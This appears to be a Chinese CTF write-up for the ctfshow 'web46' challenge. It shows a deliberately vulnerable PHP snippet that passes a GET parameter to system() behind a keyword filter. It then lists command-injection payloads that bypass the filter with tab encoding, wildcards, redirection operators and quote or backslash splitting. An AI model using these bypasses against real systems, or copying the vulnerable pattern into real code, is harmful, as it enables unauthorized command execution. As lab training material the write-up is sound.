ctfshow web入门 web46

信息收集

这下把$ *和数字也给过滤了

php 复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

解题

老配方

s 复制代码
?c=tac%09fl?g.php%0a

使用重定位符

在Shell中,反斜杠 \ 是转义字符,用于取消紧随其后的字符的特殊含义。但以下两种情况需要注意:

  • 特殊字符:如 $、*、?、空格等,反斜杠会使其失去特殊含义。
  • 普通字符:如字母、数字,反斜杠会被忽略,直接保留原字符。
    • 所以 flag.txt == fla\g.txt

< <>代替空格。具体查看Shell中的<,<<,>,>>介绍

使用重定向符来替代空格
<?配合使用会失败,原因不详

s 复制代码
?c=tac<fla\g.php||
?c=tac<>fla''g.php||

其中''被shell理解为空字符串。Shell会将 相邻的字符串片段自动拼接,无论是否被引号包裹

复制代码
┌──(si㉿kali)-[~/桌面]
└─$ echo '1'23''45
12345
相关推荐
程序员小淞9 小时前
写一个行政区划下拉选组件(异步+搜索)
前端
星栈9 小时前
用 Rust + Makepad 做一个 JSON 查看器:从零到能用的全过程
前端·rust
yijianace9 小时前
Python爬虫实战:分页爬取 + 详情页采集 + CSV存储
前端·爬虫·python
想吃火锅10059 小时前
【前端手撕】防抖节流
前端
MemoriKu9 小时前
Flutter 相册 APP 视频模态稳定化实战:从视频抽帧、Embedding 元数据到 Android 真机启动修复
android·开发语言·前端·flutter·架构·音视频·embedding
lichenyang4539 小时前
ArkUI 票根卡片:PathShape 真挖洞,shadow 沿凹陷外发光
前端
Cache技术分享9 小时前
432. Java 日期时间 API - 时间工具 TemporalQuery 详解
前端·后端
假如让我当三天老蒯9 小时前
暂时性死区是否和闭包是相背的呢(自学用)
前端·javascript
渣波9 小时前
前端开发主页面小技巧
前端·javascript
柯克七七9 小时前
我用3个周末重构了公司的前端项目,老板没发现,但同事都来找我要代码了
前端